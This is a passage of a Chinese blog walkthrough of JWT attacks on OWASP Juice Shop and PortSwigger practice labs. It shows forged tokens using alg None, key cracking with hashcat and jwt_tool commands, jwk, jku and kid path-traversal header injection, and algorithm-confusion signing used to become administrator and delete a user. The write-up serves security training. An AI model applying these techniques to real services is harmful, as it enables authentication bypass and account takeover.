Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjEsInVzZXJuYW1lIjoiIiwiZW1haWwiOiIxMjNAcXEuY29tIiwicGFzc3dvcmQiOiJlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiJ1bmRlZmluZWQiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTozOTo0NS43MDcgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyMi0xMS0xNiAwNTo0NDowNC41MjMgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNjY4NTc3NDU3LCJleHAiOjE2Njg1OTU0NTd9.DXYw24kJYuBcHxuWHEocNupJzjocpCWAoZPByvaJgcZ5K2CXUXYpBYdHCy7L6DZD_Od9Xh7DNJUdfP__6gwLVQ9LJ7k98af3cLBhQ_M7TW2TtoXOOcZzkVnVuN0QW1w7bTK4venFwSeWDuOshpF_fFWGlxd42y4kOS2as2cb5xo
来到专业网站分析如下:https://jwt.io/
根据多年口算MD5的经验得知,密码的加密方式是MD5
接下来篡改 JWT 的内容(不要base64编码结果最后面的等号!)
修改得到JWT第一部分:ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0
修改得到JWT第二部分:
ewogICJzdGF0dXMiOiAic3VjY2VzcyIsCiAgImRhdGEiOiB7CiAgICAiaWQiOiAxLAogICAgInVzZXJuYW1lIjogIiIsCiAgICAiZW1haWwiOiAiYWRtaW5AanVpY2Utc2gub3AiLAogICAgInBhc3N3b3JkIjogImUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlIiwKICAgICJyb2xlIjogImN1c3RvbWVyIiwKICAgICJkZWx1eGVUb2tlbiI6ICIiLAogICAgImxhc3RMb2dpbklwIjogInVuZGVmaW5lZCIsCiAgICAicHJvZmlsZUltYWdlIjogIi9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwKICAgICJ0b3RwU2VjcmV0IjogIiIsCiAgICAiaXNBY3RpdmUiOiB0cnVlLAogICAgImNyZWF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjM5OjQ1LjcwNyArMDA6MDAiLAogICAgInVwZGF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjQ0OjA0LjUyMyArMDA6MDAiLAogICAgImRlbGV0ZWRBdCI6IG51bGwKICB9LAogICJpYXQiOiAxNjY4NTc3NDU3LAogICJleHAiOiAxNjY4NTk1NDU3Cn0
由于加密方式为空,因此第三部分为空,于是得到篡改后的JWT如下:
ewogICJ0eXAiOiAiSldUIiwKICAiYWxnIjogIk5vbmUiCn0.ewogICJzdGF0dXMiOiAic3VjY2VzcyIsCiAgImRhdGEiOiB7CiAgICAiaWQiOiAxLAogICAgInVzZXJuYW1lIjogIiIsCiAgICAiZW1haWwiOiAiYWRtaW5AanVpY2Utc2gub3AiLAogICAgInBhc3N3b3JkIjogImUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlIiwKICAgICJyb2xlIjogImN1c3RvbWVyIiwKICAgICJkZWx1eGVUb2tlbiI6ICIiLAogICAgImxhc3RMb2dpbklwIjogInVuZGVmaW5lZCIsCiAgICAicHJvZmlsZUltYWdlIjogIi9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwKICAgICJ0b3RwU2VjcmV0IjogIiIsCiAgICAiaXNBY3RpdmUiOiB0cnVlLAogICAgImNyZWF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjM5OjQ1LjcwNyArMDA6MDAiLAogICAgInVwZGF0ZWRBdCI6ICIyMDIyLTExLTE2IDA1OjQ0OjA0LjUyMyArMDA6MDAiLAogICAgImRlbGV0ZWRBdCI6IG51bGwKICB9LAogICJpYXQiOiAxNjY4NTc3NDU3LAogICJleHAiOiAxNjY4NTk1NDU3Cn0.
4. 验证是否存在漏洞
重放自己注册账号的流量包:
篡改 JWT,同时修改Authorization
和Cookie
的token
值。从结果来看,存在漏洞。
5. 漏洞利用
修改自己账号的密码,抓包发现,与我当前账户身份相关的只有Authorization
和Cookie
的token
值,并没有邮箱、用户名之类的东西。那就直接篡改
看起来是篡改成功了
登录一下,果然登录成功
案例2:BurpSuite
BurpSuite提供了专业的靶场:https://portswigger.net/web-security/all-labs#jwt
开启靶场如果失败,请关闭代理!
案例2.1:接受任意签名
漏洞靶场:通过未验证签名绕过 JWT 身份验证(JWT authentication bypass via unverified signature)
本实验使用基于 JWT 的机制来处理会话。由于实施缺陷,服务器不会验证它收到的任何 JWT 的签名。
1. 登录靶场
根据提示信息,使用账号密码登录靶场:wiener:peter
根据第2条提示信息,转到Proxy > HTTP history选项卡并查看登录后GET /my-account请求。发现cookie中内容貌似是 JWT 格式的。注意到 :
- HaE 插件高亮显示这似乎是 JWT
- 手工选中一段JWT内容,bp自动base64解码出一段JSON格式的数据
2. 查看JWT内容
插件“JWT Editor”和在线网站https://jwt.io/的查看结果如下图
eyJraWQiOiI1YzFmNmFmYy1kOWY2LTQwZjktOGNjYi03Yjc2ZGQwZjZkNGIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODU5MTU4NH0.fZccU7P-LykenK53PonHM4pY_R4zqRJfzVDVkIlj3qSvd0VZNRbitFvq5ep6QH3FKRR7UqkCUVpWkDd0jEb8zKJIh_mWVH9HZA1nM3dXHXIhaiI3aj3TF7RHQhexPW4mG9AqNY2Xeo29nNSYFKViGGIbHkpuWqEyewGqUyiMP4OcnuJCEVzro7vKjqprQhyK7FpDTzu2mM_zOrmpMArWKWJWxtQeqZPkZ_7Y5JLQ2l6VVSwOPLIEuiF9GMa5nag0H0xa9tewOZ38_pDqfFVxgRYKC5VKF6JfeSHUZ8D3GNDJIF3Rg-__I_H1uFlEakoa2zIww0ovCuWTFpMRj8UmxQ
3. 篡改 JWT
根据第4条提示信息,访问/admin页面,我需要篡改身份为:administrator
又由于此靶场是接受任意签名的,因此无需关心签名是否正确!
然后删除账户,完成靶场目标
由于删除账户的时候,还得不停的修改数据包中的 JWT,很烦人,所以我直接修改浏览器存储的Cookie,进而一步到位。
案例2.2:接受未签名的令牌
漏洞靶场:通过有缺陷的签名验证绕过 JWT 身份验证(Lab: JWT authentication bypass via flawed signature verification)
1. 登录靶场
根据提示信息,使用账号密码登录靶场:wiener:peter。根据靶场的第2条提示信息,在/my-account
页面中发现了JWT类型的Cookie。当然,也可以通过HaE插件发现。看到数据是以eyJ
开头的,得知是JWT。
2. 验证漏洞
首先把流量转发到重放模块,签名设为空,身份修改为administrator
修改好,来到“RAW”页面,搜索.
,从搜索结果中得知经插件“JWT Editor”生成的JWT有两个.
,因此需要手动删除JWT第二个.
之后的内容
发送数据包,发现已经越权,存在JWT漏洞
3. 漏洞利用
根据靶场目标得知,要删除用户carlos。
首先篡改cookie,刷新浏览器之后,看到自己是administrator,然后就是删除用户,完成目标。
案例2.3:暴力破解密钥
漏洞靶场:通过有缺陷的签名验证绕过 JWT 身份验证(Lab: JWT authentication bypass via weak signing key)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 登录靶场
登录靶场,发现“未签名令牌”的利用方式不好用了,页面要跳转到登录页面去。那就需要尝试爆破密钥了
2. 爆破密钥
按照靶机“解决方案”中的“第一部分”的操作,得到密钥是:secret1
方式1:jwtcrack
绝望,破解了一个半小时,也没破解出来。
方式2:hashcat
.\hashcat.exe -a 0 -m 16500 eyJraWQiOiI0ZjIyYWI0Zi0yMjM0LTRhZGItOTMxNC1kN2FlOWM2ZGI2ZTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc2NTg5Nn0.qoqNn749sftmFnsmBO3GoGOUXk4oeTRs770lbpwDEIA C:\Users\asuka\Desktop\jwt.secrets.list
方式3:jwt_tool
python ./jwt_tool.py eyJraWQiOiI0ZjIyYWI0Zi0yMjM0LTRhZGItOTMxNC1kN2FlOWM2ZGI2ZTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc2NTg5Nn0.qoqNn749sftmFnsmBO3GoGOUXk4oeTRs770lbpwDEIA -C -d /usr/share/SecLists-2022.2/Passwords/Common-Credentials/10k-most-common.txt
3. 重新签名
方法1:使用BP插件JWT Editor
参见:https://www.youtube.com/watch?v=Wu6UR-Myiy0
按照靶机“解决方案”中的“第二部分”的操作:
- 对密钥进行base64编码
- 在 Burp 中,转到“JWT Editor Keys”选项卡并单击“New Symmetric Key”。在对话框中,单击生成以生成 JWK 格式的新密钥。把“k”的值修改为base64编码后的密钥值。
- 保存密钥
添加完成后,如下图所示
按照靶机“解决方案”中的“第三部分”的操作:修改并签署 JWT
- 在有效负载中,将sub声明的值更改为administrator
- 在选项卡底部,单击Sign,然后选择刚刚生成的密钥
- 选中“Don’t modify header”选项,然后单击OK。现在已使用正确的签名对修改后的令牌进行签名。
发送数据包,确认存在漏洞
方法2:使用BP插件JSON Web Tokens
参见:https://www.youtube.com/watch?v=xTrusprPJyg
如图所示,我并没有开启插件HaE,但是HTTP历史记录中出现了蓝色高亮的内容,注释信息中提示此请求中包含JWT。
开始重新签名
签名后的结果,与JWT中的内容相符,但是发送数据包失败了,根据响应包内容得知请求包的第19行应该是多余的,删掉之后成功证明漏洞存在
方法3:使用 jwt.io
填写密钥后,可以直接篡改payload,实时生成对应的JWT。丢到bp里面替换掉之前的JWT内容就行了
方法4:使用jwt_tool
首先修改payload
python ./jwt_tool.py eyJraWQiOiIxNWEyYTdiZi04NjE3LTQ2YjctODNkOS1kNTA5MjFhNzMyZjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY2ODc4MDkzOH0.yhSQgn1LCb1D-_awijGySOeU--8rCbf2qtMvM-Vso2M -T
然后重新生成JWT,丢到bp中测试一下,漏洞验证成功
python ./jwt_tool.py eyJraWQiOiIxNWEyYTdiZi04NjE3LTQ2YjctODNkOS1kNTA5MjFhNzMyZjMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2Njg3ODA5Mzh9.yhSQgn1LCb1D-_awijGySOeU--8rCbf2qtMvM-Vso2M -S hs256 -p "secret1"
4. 漏洞利用
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
案例2.4:jwk参数注入攻击
漏洞靶场:通过 jwk 标头注入绕过 JWT 身份验证(Lab: JWT authentication bypass via jwk header injection)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 登录靶场
此时的jwt结构如下:
2. 创建RSA密钥
3. 签名篡改后的JWT
- 篡改JWT
在负载中,将sub声明的值更改为administrator。
- 使用RSA私钥签名篡改后的JWT
在JSON Web Token选项卡的底部,单击Attack
,然后选择Embedded JWK
。出现提示时,选择您新生成的 RSA 密钥并单击确定。
- 验证漏洞
发送数据包之后发现,果然存在漏洞
篡改之后的JWT格式如下:
4. 漏洞利用
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
案例2.5:jku参数注入攻击
漏洞靶场:通过 jku 标头注入绕过 JWT 身份验证(Lab: JWT authentication bypass via jku header injection)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 登录靶场
此时的jwt结构如下:
2. 制作恶意jku
- 创建RSA密钥
- 根据提示,用一个空的 JWK Set替换Body部分的内容
- 返回
JWT Editor Keys
选项卡,右键单击您刚刚生成的密钥条目,然后选择Copy Public Key as JWK
- 将复制的结果粘贴到响应体中
keys
的中括号里面,点击“store”存储起来。然后修改一下文件路径,如:/.well-known/jwks.json
,这个时候你就得到了恶意jku的路径。
3. 修改并签署 JWT
- 修改头部
kid(Key ID):提供一个ID,在有多个密钥可供选择的情况下,服务器可以使用该ID来识别正确的密钥。根据密钥的格式可能还有一个匹配的kid参数。
在 JWT 的头部中,将kid参数的当前值替换为kid您上传到漏洞利用服务器的 JWK 的值
在 JWT 的头部中,添加jku参数,将其值设置为您在漏洞利用服务器上的 JWK 集的 URL
注意要在alg
后面跟一个,
- 篡改身份
在负载中,将sub声明的值更改为administrator
- 签名
在选项卡底部,单击Sign,然后选择您在上一节中生成的 RSA 密钥。
确保选中Don't modify header
选项,然后单击OK。现在已使用正确的签名对修改后的令牌进行签名。
一旦发包,页面跳转到登录页面,经过多次尝试都是这样,没办法,查看了一下教程,发现他们是在别的页面做的攻击效果。
如下图,一旦登录账号,就会进入到自己的账号,cookie中就会有自己的身份,我打靶一直用的是这个浏览记录。但是这次,需要点击网页中的“My account”,通过这个浏览记录才可以打靶成功。
下面就可以顺利打靶了。修改好JWT之后,注意把请求地址中的身份篡改一下才行。
4. 漏洞利用
如果你把浏览器中的cookie篡改掉是没用的,一旦篡改,刷新浏览器就302跳转到登录页面。想要利用,需要通过bp。
- 根据靶场提示,来到
/admin
目录,搜素发现了删除carlos账户的链接地址
- 删除账号,通过浏览器显示得知打靶成功
案例2.6:kid参数注入攻击
漏洞靶场:通过 kid 标头路径遍历绕过 JWT 身份验证(Lab: JWT authentication bypass via kid header path traversal)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 登录靶场
2. 新建对称密钥
根据靶场提示信息:
- 新建对称密钥
- 在 Burp 中,转到“JWT Editor Keys”选项卡并单击“New Symmetric Key”。在对话框中,单击生成以生成 JWK 格式的新密钥。把“k”的值修改为base64编码后的密钥值。
- 将生成的
k
属性值替换为 Base64 编码后的空字节AA==
3. 修改并签名 JWT
- 在JWT的header中,将
kid
参数的值改为/dev/null
,为了保证成功,这里使用多个../
:../../../../../../../dev/null
- 篡改身份。
- 签名。确保选中
Don't modify header
选项,然后单击OK
。现在使用空字节作为密钥对修改后的令牌进行签名。
从下图中可以看到,漏洞存在
4. 漏洞利用
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
案例2.7:算法混淆攻击
漏洞靶场:通过算法混淆绕过 JWT 身份验证(Lab: JWT authentication bypass via algorithm confusion)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 打开靶场
想要实现这种攻击的前提是必须拿到泄露的公钥。
根据靶场提示,在/jwks.json
中找到了泄露的公钥。然后登录靶场。
2. 生成恶意签名密钥
- 在 Burp 中,转到Burp 主选项卡栏中的
JWT Editor Keys
选项卡。 - 单击新建
New RSA Key
。 - 在对话框中,确保选中JWK选项,然后粘贴刚刚复制的 JWK。单击“确定”保存密钥。
- 右键单击您刚刚创建的密钥条目,然后选择
Copy Public Key as PEM
。 - 使用“解码器”选项卡对此 PEM 密钥进行 Base64 编码,然后复制生成的字符串。
- 返回Burp 主选项卡栏中的
JWT Editor Keys
选项卡。 - 单击
New Symmetric Key
。在对话框中,单击生成以生成 JWK 格式的新密钥。请注意,您无需选择密钥大小,因为稍后会自动更新。 - 将为 k 属性生成的值替换为您刚刚创建的 Base64 编码 PEM。
- 保存密钥。
3. 修改并签署令牌
- 在 JWT 的标头中,将
alg
参数的值更改为HS256
- 在负载中,将sub声明的值更改为administrator。
- 在选项卡底部,单击
Sign
,然后选择您在上一节中生成的对称密钥。 - 确保选中
Don't modify header
选项,然后单击OK。现在使用服务器的公钥作为密钥对修改后的令牌进行签名。
成功验证漏洞
4. 漏洞利用
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
案例2.8:从现有令牌派生公钥
参考:https://www.youtube.com/watch?v=-GssKYJ5OYg
漏洞靶场:通过算法混淆绕过 JWT 身份验证,不暴露密钥(Lab: JWT authentication bypass via algorithm confusion with no exposed key)
靶场的目标同上,使用wiener:peter登录系统,然后越权,最后删除账号carlos就算打靶通过
1. 获取服务器生成的两个 JWT
登录靶机,然后退出账号。再登陆一次,再退出账号。于是就得到了2个JWT:
2. 暴力破解服务器的公钥
在终端中,运行以下命令,将两个 JWT 作为参数传递。请注意,第一次运行此程序时,从 Docker Hub 拉取映像可能需要几分钟时间:docker run --rm -it portswigger/sig2n <token1> <token2>
- 输出包含一个或多个计算值
n
,这些中的每一个在数学上都是可能的,但只有其中一个与服务器使用的值相匹配。在每种情况下,输出还提供以下内容:- X.509 和 PKCS1 格式的 Base64 编码公钥。
- 使用这些密钥中的每一个签名的篡改 JWT。
- 从第一个 X.509 条目(您可能只有一个)复制被篡改的 JWT
- 如果您收到 200 响应并成功访问您的帐户页面,那么这是正确的 X.509 密钥
- 如果您收到 302 响应,将您重定向到/login并删除您的会话 cookie,那么这是错误的 X.509 密钥。在这种情况下,对脚本输出的每个 X.509 密钥使用篡改的 JWT 重复此步骤。
经过多次尝试,发现使用下图红框中的jwt能够返回200响应码,说明它是就是我们在找的那个JWT
3. 生成恶意签名密钥
- 找到正确的JWT上面那个base64编码的字符串
- 在 Burp 中,转到
JWT Editor Keys
选项卡并单击New Symmetric Key
- 在对话框中,单击“生成”以生成 JWK 格式的新密钥
- 将生成的
k
属性值替换为刚刚复制的 Base64 编码密钥,并保存
4. 修改并签署令牌
- 在 JWT 的标头中,确保
alg
参数设置为HS256 - 在 JWT 负载中,将sub声明的值更改为administrator
- 在选项卡底部,单击Sign,然后选择您在上一节中生成的对称密钥
- 确保选中
Don't modify header
选项,然后单击OK。现在使用服务器的公钥作为密钥对修改后的令牌进行签名。
5. 漏洞利用
来到浏览器中篡改cookie,越权为管理员,删掉某用户完成打靶。
文章来源:https://www.toymoban.com/news/detail-753049.html
参考
JWT 攻击(from burpsuite)
Working with JWTs in Burp Suite(from burpsuite)
Algorithm confusion attacks(算法混淆攻击)(from burpsuite)
一文读懂JWT,JWS,JWE(from zh_coder)
九维团队-红队(突破)| 从JWT-Lab靶场学习JWT的攻击方式(from 安恒信息安全服务)
安全运营内刊—检测与防护能力—浅析JWT攻击类型(from 天融信安全服务)
渗透测试-JWT攻击(from 成都知道创宇)
学习JWT,看这篇就够了!(from 酒仙桥六号部队)
JWT攻击手册(介绍了jwt_tool的一些用法)
Hacker Tools: JWT_Tool – The JSON Web Token Toolkit(from intigriti 介绍了jwt_tool的一些用法)文章来源地址https://www.toymoban.com/news/detail-753049.html
到了这里,关于细说——JWT攻击的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!